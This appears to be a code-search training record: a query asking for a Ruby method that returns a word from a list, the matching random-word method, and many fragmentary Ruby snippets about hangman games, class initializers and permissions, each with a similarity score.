borrowed: 1000, term: 2, rate: 2 }\n # hash of key value pairs to initialise loan\n Loan.new(options, 5)\n # creates loan and returns it\n end", "def anatomy; end", "def initialize(sim)\n super(sim)\n\n @sim.player.instance_variable_set(:@landslide, self)\n Player.send(\"attr_reader\", :landslide)\n\n PROCS_OFF_OF.each do |ability_name|\n @sim.player.send(ability_name).extend(ProcLandslide)\n end\n\n @sim.player.extend(AugmentPlayerAttackPower)\n end", "def create_objects\n# Create a new \"Mash\" object and assign it to \"awesome\"\n awesome Mash.new\n end", "def initialize(name)\n @name = name\n @balance = 25\n @hygiene_index = 8\n @happiness_index = 8\nend", "def private; end", "def initialize(name, owner)\n @name = name\n @owner = owner\n @mood = \"nervous\" #initialize with nervous mood\n @@all << self\n self.owner.cats << self\n end", "def initialize(name, type, ac, attack_bonus, hp, damage)\r\n\t\t@name=name\r\n\t\t@type=type\r\n\t\t@ac=ac\r\n\t\t@attack_bonus=attack_bonus\r\n\t\t@hp=hp\r\n\t\t@damage=damage\r\n\tend", "def new\n @privacies = Privacy.all\n super\n end", "def villian; end", "def initialize(name)\n super(name: name)\n self.hit_points = 10\n self.charm_points = 10\n self.house_id = House.all.sample.id\n self.wand = Character.all.select{|c| !c.wand.start_with?(\" \") }.sample.wand\n self.pet = [\"cat\", \"owl\", \"toad\", \"rat\"].sample\n self.patronus = MY_ANIMAL_FAKER.sample\n @classmates_faced = []\n self.friends = 0\n self.victories = 0\n end", "def initialize(name, age, skill, fear)\n # self is the instance being created\n @name = name\n @age = age\n @skill = skill\n @fear = fear\n @hair = \"Red\"\n # self.cure()\n end", "def initialize(name, specialty)\n @name = name\n @specialty = specialty\n @@all << self\n\nend", "def after_initialize\n @__depth = self.__options[:depth] || 0\n @__ability = self.__options[:ability]\n\n if self.__options[:current_account] && self.__options[:current_site]\n @__ability = Locomotive::Ability.new self.__options[:current_account], self.__options[:current_site]\n end\n end", "def new\n AwesomeObject.new(self)\n end", "def new\n AwesomeObject.new(self)\n end", "def refute_instance_of(cls, obj, msg=nil)\n InstanceAssay.refute!(obj, cls, :message=>msg, :backtrace=>caller)\n end", "def anchored; end", "def glanceAt _obj, _args\n \"_obj glanceAt _args;\" \n end", "def ability\n @ability ||= Ability.new(self)\n end", "def ability\n @ability ||= Ability.new(self)\n end", "def ability\n @ability ||= Ability.new(self)\n end", "def ability\n @ability ||= Ability.new(self)\n end", "def ability\n @ability ||= Ability.new(self)\n end", "def starship; end", "def inspect\n raise_error # expect no instances\n end", "def attack_use\n puts \"\"\n puts \"#{@type.name.upcase} MOVES ARE POWERFUL AGAINST:\"\n @type.super_effective.each_with_index {|other_type, index| puts \"#{index+1}. #{other_type.name}\"}\n end", "def santa_generator(num)\n\t@santas = []\n\texample_names = [\"Sarah\", \"Sting\", \"Sigmond\", \"Stella\", \"Stephen\", \"Sidney\", \"Singin\"]\n\texample_genders = [\"agender\", \"female\", \"bigender\", \"male\", \"female\", \"gender fluid\", \"N/A\"]\n\texample_ethnicities = [\"black\", \"Latino\", \"white\", \"Japanese-African\", \"prefer not to say\", \"Mystical Creature (unicorn)\", \"N/A\"]\n\t\n\tnum.times do |num|\n\n\tnew_santa = Santa.new(example_names.sample(example_names.length), example_genders.sample(example_genders.length), example_ethnicities.sample(example_ethnicities.length)) \n\t\t\t\t# name = example_names.rand(example_name.length)\n\t\t\t\t# gender = example_genders.rand(example_genders.length)\n\t\t\t\t# ethnicity = example_ethnicities.rand(example_ethnicities.length)\n\t\t\t\t\n\t\t\t\t\t new_santa.age = (1..140).to_a.sample\n\n\n# Emmanual said these sage words otherwise there is no variable to accept the random number\n\n# [11:21] \n# if you had another method that created age and called it before this that would work too\n\n# [11:21] \n# basically, initialize sets all of the basic information for the class. What needs to exist for this class to exist\n\t@santas << new_santa\n\t\t# index = 0 do |num|\n\t\t# \tuntil num == index \n\t\t# \t\tname = example_names.rand(example_name.length)\n\t\t# \t\tgender = example_genders.rand(example_genders.length)\n\t\t# \t\tethnicity = example_ethnicities.rand(example_ethnicities.length)\n\t\t# \t\tage = Random.rand(141)\n\t\t# \tsantas << Santa.new (name, gender,ethnicity)\n\t\t# \t# name = example_names(rand(example_name.length)\n\t\t# \t# gender = example_genders(rand(example_genders.length)\n\t\t# \t# ethnicity = example_ethnicities(rand(example_ethnicities.length)\n\t\t# \t# age = Random.rand(141)\n\n\t\t# index += 1\n\t\n\tend\nend", "def new\n @tactic = Tactic.new\n end", "def initialize (threat_level=:medium)\n super (threat_level)\n @habitat = \"graveyard\"\n\n\n end", "def silly_adjective; end", "def initialize (name) #when a fish is created in CL ie. f1 = Fish.new('nemo'), this method will autorun, and you have to give it a name\n puts 'new fish is born'\n # health = 10 # local\n @health = 10 # increases to an instance variable\n @speed = 5\n @name = name\n stomach = [ ]\n\n end", "def test_new_instance_doesnt_have_pass\n refute Attendee.new(100).pass?\n end", "def initialize(exisiting_savings) #This gets called when a new instance of a bank account gets created\n # @balance = 0\n @balance = exisiting_savings\n end", "def initialize (ages)\n #variable de instancia\n @ages = ages\n end", "def initialize(name, breed, owner_name)\n @name = name # this returns name of the dog\n @breed = breed # returns the breed classification\n @owner = Owner.new(owner_name, self) # returns Owner when #class is called on #owner \n end", "def initialize (name, age)\n @name = name\n @age = age \n @@all << self\n\nend", "def assign_experience_points\n end", "def initialize\n @referee = Referee.new\n @win_referee = Referee.new(:winner)\n end", "def initialize(user)\n user.permissions.each do |permission|\n can permission.action.to_sym, #establishes a permission\n permission.thing_type.constantize do |thing|\n #thing_type.constantize is like <Classname>.<Call constructor>\n thing.nil? || # allows broadly, ie. just specify an action, and not a thing\n permission.thing_id.nil? ||\n permission.thing_id == thing.id\n end\n end\n end", "def initialize\n @strength = 3\n @intelligence = 3\n @stealth = 3\n @health = 100\n end", "def initialize(name, isSuperFan, birthMonth, performer=nil)\n @name = name\n @isSuperFan = isSuperFan\n @birthMonth = birthMonth\n @performer = performer\n @@all << self #self is instance being created here \n end", "def instances_of(klass)\n raise CapabilitiesExceeded\n end", "def generate_responsibilities\n set_positions\n set_team_members\n create_responsibilities\n\n\n\n assign_responsibilities\n\n # assign_team_members\n end", "def affichage_player\n\n\n end", "def restriction\n end", "def check_accessibility\n end", "def construct\n end", "def new\n @convention = Convention.new\n end", "def intensifier; end", "def initialize(name) #initial with name\n @name = name # set name instance varibale to the passing name\n @@all << self # keep track of all instances by putting each instance into the class variable all array\n end", "def class() end", "def initialize\n # Call function to generate the account number\n account_number_gen\n # Initialize instance variables\n @checking_account_balance = 0\n @saving_account_balance = 0\n @@total_accounts += 1\n @interest_rate = 0.01\n end", "def initialize(gender,ethnicity)\n print \"Initializing Santa instance ...\"\n @gender = gender\n @ethnicity = ethnicity\n @reindeer_ranking = [\"Rudolph\", \"Dasher\", \"Dancer\", \"Prancer\", \"Vixen\", \"Comet\", \"Cupid\", \"Donner\", \"Blitzen\"]\n @age=0\nend", "def initialize(user)\n unless user\n can [:new, :create, :sign_in, :sign_up, :check_username, :check_email, :check_run, :log], [Producer, User]\n cannot [:new, :destroy, :update], Event \n can [:show, :index, :search, :siete_dias_app, :patrocinados_app, :buscar_app, :lista_app, :view_app], Event \n\t cannot [:account, :edit, :destroy, :update], [Producer, User]\n can [:geo], City\n can [:view_app, :check_app], Ticket\n #can :manage, :all#comentar esto si se quiere quitar permiso admin \n else\n if user.has_role? :normal\n can :manage, User\n can [:new, :create, :sign_in, :sign_up, :check_username, :check_email, :check_run, :log], [Producer]\n cannot [:account, :edit, :destroy, :update], Producer\n cannot [:new, :destroy, :update], Event \n can [:show, :index, :search, :detail], Event \n can [:ticket_free, :result_free, :result], Transaction\n can [:view_app, :check_app, :index, :pdf, :render_pdf], Ticket\n #can :manage, :all# esto si se quiere quitar permiso admin \n end\n end\n end" ]
[ "0.57412106", "0.5722591", "0.56297004", "0.56122124", "0.5579363", "0.55111486", "0.5494307", "0.5453874", "0.54471165", "0.54356885", "0.54356885", "0.54180986", "0.540438", "0.54012364", "0.5396885", "0.5396885", "0.5396885", "0.53967965", "0.538233", "0.53685546", "0.5363281", "0.53476566", "0.5335775", "0.532913", "0.5320577", "0.5304383", "0.53022516", "0.5298223", "0.5295248", "0.52934635", "0.5282637", "0.5282362", "0.5280485", "0.5268309", "0.52627003", "0.52552706", "0.5245296", "0.52365845", "0.5232781", "0.5222487", "0.5212897", "0.5210016", "0.52073926", "0.51894444", "0.5183419", "0.5179013", "0.5173503", "0.5172382", "0.51703787", "0.5169233", "0.51598567", "0.5159189", "0.5156244", "0.5155976", "0.5147972", "0.51436675", "0.5135669", "0.513275", "0.5128037", "0.51147896", "0.51087564", "0.51087564", "0.5108304", "0.51061046", "0.5103259", "0.5093735", "0.5093735", "0.5093735", "0.5093735", "0.5093735", "0.50908405", "0.5090441", "0.5088212", "0.508785", "0.5086009", "0.5083104", "0.5080191", "0.5078827", "0.50765055", "0.5075726", "0.5073935", "0.50655067", "0.5060054", "0.50599986", "0.50500554", "0.5049305", "0.50455225", "0.5044446", "0.5042778", "0.50422096", "0.50385123", "0.50374556", "0.50327396", "0.5031462", "0.5030467", "0.5023443", "0.5019016", "0.5015785", "0.5013098", "0.5004563", "0.50020736" ]
0.0
-1
Returns a word from the words list.
def selectWord words = [ "anvil", "black", "break", "clear", "doubt", "exist", "first", "girth", "heart", "icons", "joker", "loath", "mirth", "notch", "overt", "print", "qualm", "react", "solid", "trick", "until", "viola", "water", "young", "zebra" ] return words[Random.rand(words.length)] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_word\n word = @word_list[rand(@word_list.length)]\n @word = word.gsub(/\\s+/, \"\").downcase\n end", "def get_random_word(words)\n # rand method with an integer argument (the length of words) get a new integer between 0 & the length of words\n return words[rand(words.count)]\n end", "def [](word_index)\n word_list[word_index]\n end", "def get_word\n dictionary.get_word\n end", "def random_word\n wordpair = nil\n File.foreach(\"wordlist\").each_with_index do |line, number|\n wordpair = line if rand < 1.0/(number+1)\n end\n word = Word.new(wordpair.split(':')[0], wordpair.split(':')[1])\n return word\n end", "def [](index)\n @words[index].word\n end", "def select_word(words)\n word_selected = words[rand(words.length)].strip\n word_selected\n end", "def get_random_word\r\n @word_list.sample\r\n end", "def get_word(key = '')\n words = self.words[key] || []\n extras = key == '' ? 2 : 3\n\n while true\n n = rand(words.length + extras)\n existing_word = words[n]\n return existing_word if existing_word\n\n new_word = make_word(key)\n bad = false\n self.words.each do |word|\n if word.include? new_word\n bad = true\n break\n end\n end\n next if bad\n words << new_word\n self.words[key] = words\n\n return new_word\n end\n end", "def select_word\n uri = URI('https://random-word-api.herokuapp.com/word?number=5')\n words = Net::HTTP.get(uri) \n words = words.delete(\"[\").delete(\"]\").delete(\"\\\"\")\n words = words.split(\",\")\n index = rand(words.count - 1)\n return words[index]\n end", "def get_word(dictionary)\n word = dictionary[rand(dictionary.length)]\n # Ensure that the word is between 5 and 12 letters long.\n if word.length.between?(5,12)\n return word.downcase.strip\n else\n get_word(dictionary)\n end\n end", "def choose_word\n @words = read_words unless @words\n return @words [rand @words.size]\nend", "def getWord(word)\n @bits[word]\n end", "def get_word\r\n return_word\r\n end", "def in_a_word\n WORDS[self]\n end", "def get(word)\r\n return \"\" if !@words[word]\r\n follow = @words[word]\r\n sum = follow.inject(0) { |sum,kv | sum +=kv[1] }\r\n random = rand(sum)+1\r\n part_sum = 0\r\n nextWord = follow.find do |word, count|\r\n part_sum += count\r\n part_sum >= random\r\n end.first\r\n nextWord\r\n\r\n end", "def find_word(lexical_item)\n \n end", "def word\n @word ||= Word.current_word('a-zA-Z0-9_.', :left).split('.').last\nend", "def pick_a_word\n\t\tbucket = @dictionary[@dictionary.keys[rand @dictionary.size]]\n\t\tpair = bucket[rand bucket.size]\n\t\tpair.last\n\tend", "def find_by_word(word)\n @wordlist[word] if word_exists?(word)\n end", "def choose_word\n input = File.open(\"words.txt\", 'r')\n words = []\n input.readlines.each do |line|\n words.push(line.strip().downcase)\n end\n input.close()\n words[rand(words.length)]\n end", "def pick_random_word\n random_word = @words.sample.gsub!(/\\s+/, \"\")\n end", "def random_word\n @words.fetch(rand(@words.length)).chomp\n end", "def _word\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_atom)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_quoted_string)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_word unless _tmp\n return _tmp\n end", "def [](index)\r\n words[index]\r\n end", "def get_secret_word\n @active_list.fetch(0)\n end", "def next_word\n return if @next > @words.length\n word = @words[@next]\n @next += 1\n\n return word\n end", "def word_list\n @word_list\n end", "def get_word(word)\n chosen = \"\"\n\n if !@graph.words[word].nil? then\n \n # sum up all values in our word to get range\n total = 0\n @graph.words[word].map { |k,v| total += v }\n\n # grab some random val from said range\n sel = rand(total)\n\n # return the first word that has a\n # weight greater than our 'random number'\n # ensure we remove the weight from random\n # on each iteration\n @graph.words[word].each do |k,v|\n\n if v > sel then\n chosen = k\n break\n end\n\n sel -= v\n\n end\n\n return chosen\n end\n\n end", "def word()\r\n\t\treturn @word\r\n\tend", "def pick_secret_word\n @word = dictionary.sample\n word\n end", "def word\n @word\n end", "def word\n @word\n end", "def word\n @word\n end", "def random_word\n\t\tLEGAL_WORDS.sample # Gets random element from array\n\tend", "def search_for_word(search_word)\n index_of_search_word = words.find_index { |obj| obj.word == search_word }\n words[index_of_search_word]\n end", "def idx_get_word(i)\n @tparses[i][:word]\n end", "def pick_words \n if @num_words == 0\n @word_list = @tf_in_dataset.keys\n else\n @word_list = @tf_in_dataset.to_a.sort { |a, b| b[1] <=> a[1] }.take(@num_words).map { |a| a[0] }\n end\n end", "def get_word\n @word_to_guess.join\n end", "def random_word\n words = @dictionary.dictionary.keys\n words[rand(words.length)]\n end", "def get_word( letter )\n\t\t# Try to find a word that starts with parameter\n\t\tword = @sorted_list.select{|l| l[0] == letter ? true : false }[0]\n\t\t# If no luck, pass nil back up\n\t\treturn nil if word == nil\n\t\t\n\t\t#TODO:appen || lenght\n\t\t@sorted_list.delete_at( @sorted_list.index( word ) )\n\n\t\t# Update the start/end counts in the maps\n\t\t@start_map[letter] -= 1\n\t\t@end_map[ word[word.length-1] ] -= 1\n\t\tputs \"next word is #{word}\"\n\t\t\n\t\treturn word\n end", "def pick_random_word(dictionary)\n random_num = rand(dictionary.length)\n dictionary[random_num]\n end", "def []( word, *args )\n\t\tif word.is_a?( Integer )\n\t\t\t# :TODO: Assumes Synset IDs are all >= 100_000_000\n\t\t\tif word.to_s.length > 8\n\t\t\t\treturn WordNet::Synset[ word ]\n\t\t\telse\n\t\t\t\treturn WordNet::Word[ word ]\n\t\t\tend\n\t\telse\n\t\t\treturn self.lookup_synsets( word, 1, *args ).first\n\t\tend\n\tend", "def random_word\n open('/usr/share/dict/words').read.split(/\\n/).sample\n end", "def idxv_get_word(v)\n v.collect {|x| @tparses[x][:word]}\n end", "def word\n\t\t\t@word.set(buffer.index, find_eow)\n\t\tend", "def random_word(fandom_name_or_names = random_fandom)\r\n fandom_name = case fandom_name_or_names\r\n when Array\r\n validate_fandom_list fandom_name_or_names\r\n random_fandom_name_from fandom_name_or_names\r\n when String\r\n fandom_name_or_names\r\n else\r\n raise ArgumentError, \"Argument must be [Array, String] not #{fandom_name_or_names.class}\"\r\n end\r\n\r\n fetch_fandom fandom_name\r\n end", "def first_word(words)\n\twords.split(\" \")[0]\nend", "def print_first_word(words)\r\n puts word = words.pop(1)\r\n end", "def random_word(lexicon)\n lexicon[rand(lexicon.length)] \n end", "def get_word_id\n word = @text.downcase.singularize\n @word_id = EnglishWords.find_by(english_meaning: word)\n return @word_id\n end", "def show\n @words = @word_list.words.limit\n end", "def GetRandomWord(wordArray)\n index = rand(wordArray.size)\n return wordArray[index]\nend", "def a_word\n return @random_word\n end", "def word_selector\n\t\t@game_word = @word.sample\n\tend", "def word\n Word.find_by(text: params[:text])\n end", "def lookup_word(word)\n h = self.lookup_entry(word)\n [ h[:pronounce], h[:meaning] ]\n end", "def winner\n @words.first\n end", "def find_word( word )\n word_str = word.to_s\n found_word = nil\n if @words_set.include? word_str\n found_word = word_str\n elsif @words_set.include? word_str.capitalize\n found_word = word_str.capitalize\n elsif @words_set.include? word_str.downcase\n found_word = word_str.downcase\n end\n found_word\n end", "def random_word\n word = WORDS[rand(WORDS.length)]\n word == \"\" ? random_word : word\nend", "def get_word\n\t\tbegin\n\t\t File.readlines(DICTIONARY_FILENAME).\n\t\t select { |word| word.length.between?(6, 13) }.sample.chomp\n\t\trescue\n\t\t\tputs \"Unable to read from file '#{ DICTIONARY_FILENAME }'.\"\n\t\t\tnil\n\t\tend\n\tend", "def lookup(word)\r\n @word.each do |h|\r\n if h[:Word] == word.to_s\r\n return h[:Definition]\r\n end\r\n end\r\n end", "def word\n options = []\n case @theme\n when \"default\"\n options = [\"cast\", \"puppy\", \"pineapple\", \"bananas\"]\n @word_to_guess = options.sample\n when \"food\"\n options = [\"mango\", \"papaya\", \"guava\", \"apples\", \"lychee\"]\n @word_to_guess = options.sample\n when \"hacker\"\n options = [\"bandwidth\", \"synthesize\", \"bypass\", \"cyberpunk\", \"firewall\"]\n @word_to_guess = options.sample\n when \"game of thrones\"\n options = [\"stark\", \"lannister\", \"arya\", \"hodor\", \"meereen\"]\n @word_to_guess = options.sample\n when \"lord of the rings\"\n options = [\"lothorien\", \"galadriel\", \"frodo\", \"bombadil\", \"goldberry\"]\n @word_to_guess = options.sample\n end\n end", "def getword(i)\n self[i,2].unpack('n')[0]\n end", "def first_word(word)\n words = word.split(\" \")\n words[0]\nend", "def word\n @word.downcase\n end", "def pick_word\n @dictionary = File.readlines('dictionary.txt').map(&:chomp)\n @computer_word = @dictionary.sample\n end", "def word\n @word.downcase\n end", "def select_word\r\n\t\t@answer = @words[rand(27)]\r\n\r\n\r\n\t\t# this would be a list of hashes\r\n\t\t@question = \"\"\r\n \t@tempque=\"\"\r\n\t\tfor x in 0..@answer.length\r\n\r\n\t\t\t@question=@question+\"#\"\r\n \t\t@tempque=@tempque+\"#\"\r\n\t\tend\r\n\t\treturn @answer\r\n\r\n\tend", "def [](word)\n @index[word]\n end", "def get_word\n words = File.readlines(\"lib/5desk.txt\")\n words.each { |word| word.chomp! }\n words_list = words.select { |word| word.length.between?(5, 12)}\n\n words_list.sample.downcase.split(\"\")\n end", "def list\n @list ||= Vidibus::Words.words(input)\n end", "def best_next_word(set, goal)\n set.to_a[0]\n end", "def list\n @words=Word.find(:all)\n end", "def words\n %w(this array has five words)\nend", "def first_word(input)\n # Split string into array of words and select first entry\n input.split(\" \")[0]\nend", "def get_word\r\n\t # Variable initialization\r\n\t wordArray = []\r\n\t count = 0\r\n\t random_int = 0\r\n\t \r\n\t # Stores each word that is on a new line into an array\r\n\t f = File.open(\"5desk.txt\", \"r\")\r\n\t f.each_line{ |line| wordArray << line }\r\n\t f.close\r\n\t \r\n\t # Selects the random word between the desired length of between 5 and 12 characters. \r\n\t # Note that this includes an extra delimiter at the end of each word\r\n\t until wordArray[random_int].length > 5 && wordArray[random_int].length < 14 do\r\n\t random_int = Random.new.rand(0..61405)\r\n\t end\r\n\t wordArray[random_int].chomp!\r\n\tend", "def read_word\n @words[@read_index += 1]\n end", "def get_word\n\t\tselection = IO.readlines(\"colors.txt\")\n\t\t@word = selection[rand(selection.length)].downcase.chomp\n\t\t@word_array= @word.chars.to_a\n\t\tputs \"Here's the word cheaty, #{@word.upcase}\"\n\tend", "def get_word\n return if @scanner.eos?\n\n # advance until first char difference from space\n if @scanner.match?(/\\s/)\n @scanner.scan_until(/\\S/)\n @scanner.pointer -= 1\n end\n\n if QUOTES_STRING.include? @scanner.peek(1)\n # read until next quote\n match = @scanner.scan(/(?:\"(?<val>[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"))/)\n\n # remove last quote and unscape them\n match = match.strip[1..-2].gsub('\\\"', '\"') unless match.nil?\n else\n match = @scanner.scan_until(/\\s/)\n if match.nil?\n match = @scanner.scan_until(/$/)\n end\n\n match.strip! unless match.nil?\n end\n\n # Advanced until next word\n @scanner.scan(/\\s+/)\n\n match\n end", "def shortest_string(list_of_words)\n if list_of_words.length == 0\n nil\n else\n index = 0\n shortest_word = list_of_words[0]\n while index < list_of_words.length do\n if list_of_words[index].length <= shortest_word.length\n shortest_word = list_of_words[index]\n end\n index+=1\n end\n shortest_word\n end\n end", "def set_word\n @word = Word.friendly.find(params[:id])\n end", "def get_the_word\n words = File.readlines(\"5desk.txt\")\n words = words.map do |word|\n word.strip\n end\n words = words.select do |word|\n (word.length > 4) && (word.length < 13)\n end\n words.sample.upcase.split(\"\")\n end", "def get_my_words\n # Words associated with online harassment\n trigger_words = [\"rape\",\"murder\",\"nigger\",\"slut\",\"whore\",\"bitch\",\"cunt\",\"kill\",\"die\",\"testword\"]\n my_words = Word.where(user_id: self.id)\n my_words.each do |word|\n trigger_words << word.word\n end\n return trigger_words\n end", "def create_word_one(word)\n index = find_last_vowel(word)\n result = word.slice(0, index)\n return result\n end", "def shortest_string(list_of_words)\n return nil if no_string?(list_of_words)\n return list_of_words[0] if one_string?(list_of_words)\n \telse\n \t\tfirst_word = list_of_words[0]\n \t\tx = 1\n \t\twhile x < list_of_words.length\n \t\t\tif first_word.length > list_of_words[x].length\n \t\t\t\tfirst_word = list_of_words[x]\n \t\t\tend\n \t\t\tx += 1\n \t\tend\n \t\treturn first_word\nend", "def next_words_for(word) \n if word.nil? or word.empty?\n generator_names \n else\n name_of_last_generator_inverse = word[-1].swapcase\n generator_names.find_all{|name| name != name_of_last_generator_inverse }.map{|name| word + name }\n end\n end", "def extract_word_index\n self.word_index = self.title[0].upcase\n end", "def print_first_word(words)\n word = words.shift\n puts wor\n end", "def getWord\n return RandomWord.adjs.next\nend", "def first_word(word)\n\treturn word.split[0]\nend", "def get_word_from_dictionary(filename)\n words = File.readlines(filename, chomp: true) # read in dictionary\n # get only valid length words\n valid_words = words.select do |word|\n word.length >= 5 && word.length <= 12\n end\n # choose a random valid_word\n valid_words.sample\n end", "def shortest_string(list_of_words)\n if list_of_words == []\n \treturn nil\n else\n \tcounter = 0\n \tshortest_word = ''\n \tshorest_word_length = list_of_words[0].length\n \twhile counter < list_of_words.length\n \t\tif shorest_word_length >= list_of_words[counter].length\n \t\t\tshortest_word = list_of_words[counter]\n \t\tend\n \tcounter += 1\n \tend\n end\n return shortest_word\nend", "def word\n # 1単語返却\n @resource.word\n end", "def puts_first_word(words)\n word = words.shift()\n puts word\nend", "def choose_word\n word_index = 0\n loop{\n word_index = rand(@text_file.length.to_i)\n if @text_file[word_index].length.to_i > 4 && @text_file[word_index].length.to_i < 12\n break\n end\n }\n @word = @text_file[word_index]\n end", "def define_word(word)\n REDIS.lrange(word, 0, -1)\n end", "def words\n @words ||= @string.split(/\\b/).select { |w| w.match /\\w/ }\n end", "def words\n @words\n end", "def word; end" ]
[ "0.740347", "0.7345122", "0.7064219", "0.6806759", "0.6798714", "0.67390877", "0.6737293", "0.6701437", "0.6665192", "0.65684175", "0.655368", "0.6551452", "0.64853525", "0.6449667", "0.64320153", "0.6431649", "0.6416838", "0.63600695", "0.6316261", "0.631124", "0.63046426", "0.6291086", "0.628072", "0.6278205", "0.627405", "0.6273544", "0.62707084", "0.62678814", "0.6264149", "0.62605035", "0.6259619", "0.6193144", "0.6193144", "0.6193144", "0.61914295", "0.6149677", "0.6124156", "0.61122966", "0.6105974", "0.6084949", "0.6084053", "0.60817105", "0.60685897", "0.6067736", "0.60566527", "0.60535866", "0.6035974", "0.60174835", "0.5997713", "0.5995276", "0.59850436", "0.5978928", "0.59752595", "0.5966733", "0.5965753", "0.5935593", "0.59283704", "0.5916553", "0.5895543", "0.5882389", "0.587589", "0.58727807", "0.58475333", "0.58451897", "0.58347195", "0.58212227", "0.5802303", "0.57925403", "0.5778708", "0.5775189", "0.5767299", "0.5766511", "0.57548356", "0.5746473", "0.57338613", "0.57312727", "0.57297313", "0.5727722", "0.5715165", "0.57095313", "0.5709447", "0.5706351", "0.57060915", "0.5702013", "0.56891686", "0.56844866", "0.5680096", "0.56754917", "0.5669916", "0.5655037", "0.56457824", "0.5630981", "0.5623513", "0.5623479", "0.5613643", "0.56081986", "0.55997366", "0.5593733", "0.55935526", "0.55926144" ]
0.71173567
2
Prints guessed word along with which letters are correct or contained in solution.
def printSimilarities(guess,word) (0..4).each do |i| print "#{guess[i].upcase} " end puts "" (0..4).each do |i| if guess[i].upcase==word[i].upcase print "* " else print findMatch(guess[i],word) end end puts "" print "--------- " $linesPrinted += 3 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_word\n\t\t$current_print = []\n\t\t@player.word_to_guess.each_with_index do |i,index|\n\t\t\tif @player.correct_letters.include? i\n\t\t\t\t$current_print << \"#{i}\"\n\t\t\telse\n\t\t\t\t$current_print << \" _\"\n\t\t\tend\n\t\tend\n\t\tprint $current_print.join\n\tend", "def print_puzzle(word,guessed_letters = [])\n word.each_char do |char|\n if guessed_letters.include?(char)\n print \"#{char}\"\n else\n print \"-\"\n end\n end\nend", "def word_with_guesses\n word_to_display = ''\n self.word.chars do |letter|\n # if we find letter in the word to be in guessed letters\n # replace it with the actual letter\n if self.guesses.include? letter\n word_to_display += letter\n else\n word_to_display += '-'\n end\n end\n return word_to_display\n end", "def word_status\n\t\t@ans_word.length.times do\n\t\t\t@guess << \"_\"\n\t\tend\n\t\tputs \"Guesser, your secret word has #{@ans_word.length} characters: #{@guess*\"\"}\"\n\tend", "def output_word\n p @guessedWord\n end", "def win\n puts \"\\n\"\n @letters_guessed_array = @correct_word_array\n puts @letters_guessed_array.join(\" \")\n puts \"\\n\"\n puts \"You have guess the whole word correctly! You have saved\"\n puts \"this man from a hanging!\"\n end", "def show_wrong_letters\n puts \"These letters are not in the word: #{@wrong_letters.join(\", \")}\"\n puts \"\\n\"\n end", "def check_guess\n @guess_count += 1 # Increment guess count\n @guess_feedback = \"\"\n return true if @input == @current_word # Return true value if input is same as chosen word - correctly guessed word\n i = 0\n @input.split('').each do |letter| # Split user input and check if each letter is in exact position as chosen word, or if it is somewhere or not in the word at all\n # Use << to append to string as this is faster and doesn't create new string objects, as opposed to concatenation using a +\n # Below line uses nested ternary operators, where the condition is first evaluated and then if true, the first statement is executed, if false, the second statement is executed\n # This allows the code to be more readable and shorter\n @current_word.index(letter) == i ? (@guess_feedback << \"exact \") : (@current_word.index(letter).nil? ? (@guess_feedback << \"miss \") : (@guess_feedback << \"near \"))\n i += 1\n end\n puts @guess_feedback\n end", "def show_letter\n split_blanks = hidden_word.split(\"\")\n occurences = []\n occurences = (0 ... secret_word.length).find_all { |i| secret_word[i,1] == current_guess}\n occurences.each { |i| split_blanks[i] = current_guess}\n @hidden_word = split_blanks.join(\"\")\n puts hidden_word\n end", "def print_hangman\n puts \"------------------------------------------------\"\n puts \"\"\n hangman_partial = @incorrect_letters.size - 1\n puts \"#{@hangman[hangman_partial]}\" if hangman_partial >= 0\n puts \"\"\n print \"Incorrect letters: \"\n @incorrect_letters.each { |letter| print \"#{letter} \" }\n print \"\\n\\n\"\n puts \"#{@progress}\"\n puts \"\"\n end", "def print_current_status\n print_guess_word_status = \"\"\n @guess_word_status.each do |letter|\n print_guess_word_status += \"#{letter} \"\n end\n puts \"\\nYou guessed #{@failed_attempts} times wrong so far. Remember, when reaching 10 you lose!\"\n puts \"Guess word status = #{print_guess_word_status}\"\n end", "def guessed_all_correct?\n if self.output == self.word \n puts \"You have guessed the word\"\n end\n end", "def look\n\t\t#This is for the animation\n\t\tlines = []\n\t\tlines << \"#{@fill_in_word}\"\n\t\tlines << \"\"\n\t\tlines << \"incorrect letters: #{@bad_guesses.join(\", \")}\"\n\t\tlines << \"\"\n\t\tlines << \"turn: #{@turns}\"\n\t\tlines << \"\"\n\t\tlines << \"bad guesses left: #{@guesses}\"\n\tend", "def display(dead_man)\n puts @letters_guessed_array.join(\" \")\n puts \"\\n\"\n dead_man.show_wrong_letters unless dead_man.wrong_letters.empty?\n dead_man.description unless dead_man.wrong_guesses == 0\n end", "def displayresults (word, guesses)\n\t0.upto (word.size) do |n|\n\t\n\t\tif guesses.include?(word[n,1]) then\n\t\t\t@result[n]= word[n,1]\n\t\t\n\t\tif @result[n] != \"\"\n\t\t\tthen @result[n]= word[n,1]\n\t\telse @result[n]=\"_\"\n\t\tend\t\n\tend\n \nend\nend", "def guessed_word()\r\n\t\tresult = ''\r\n\r\n\t\t# TODO: fill in method body\r\n\t\t\r\n\t\treturn result\r\n\tend", "def feedback(guess_word)\n guessword_array=guess_word.split(\"\")\n word_array=@word.split(\"\")\n guessword_array.each do |letter|\n if word_array.include?(letter)\n @result[word.index(letter)]=letter\n end\n end\n puts \"here is your feedback: #{@result}\"\n end", "def show_progress(word,guessed_letters)\r\n \t\t@display_string = ''\r\n \t\tword.each do |char|\r\n \t\tif guessed_letters.include?(char)\r\n \t\t\t@display_string << char\r\n \t\telse \r\n \t\t\t\r\n \t\t\t@display_string << '_'\r\n \t\tend\r\n \t \r\n \t\t end\r\n \t\t puts display_string\r\n \t\t gameover(display_string)\r\n\tend", "def check_letters(letter)\n progress(letter)\n count = 0\n @word_to_guess.each do |char|\n if char == letter\n @hidden_word[count] = letter\n else\n @hidden_word \n end\n count +=1 \n end\n puts @hidden_word\n @hidden_word\n end", "def show_letter\n split_blanks = hidden_word.split(\" \")\n occurences = []\n occurences = (0 ... @secret_word.length).find_all { |i| @secret_word[i,1] == @current_guess}\n occurences.each { |i| split_blanks[i] = @current_guess}\n @hidden_word = split_blanks.join(\" \")\n hidden_word\n end", "def guess_correct(letter)\n\t\tif @secret_word.include?(letter)\n\t\t\t@secret_word.each_with_index do |correct, 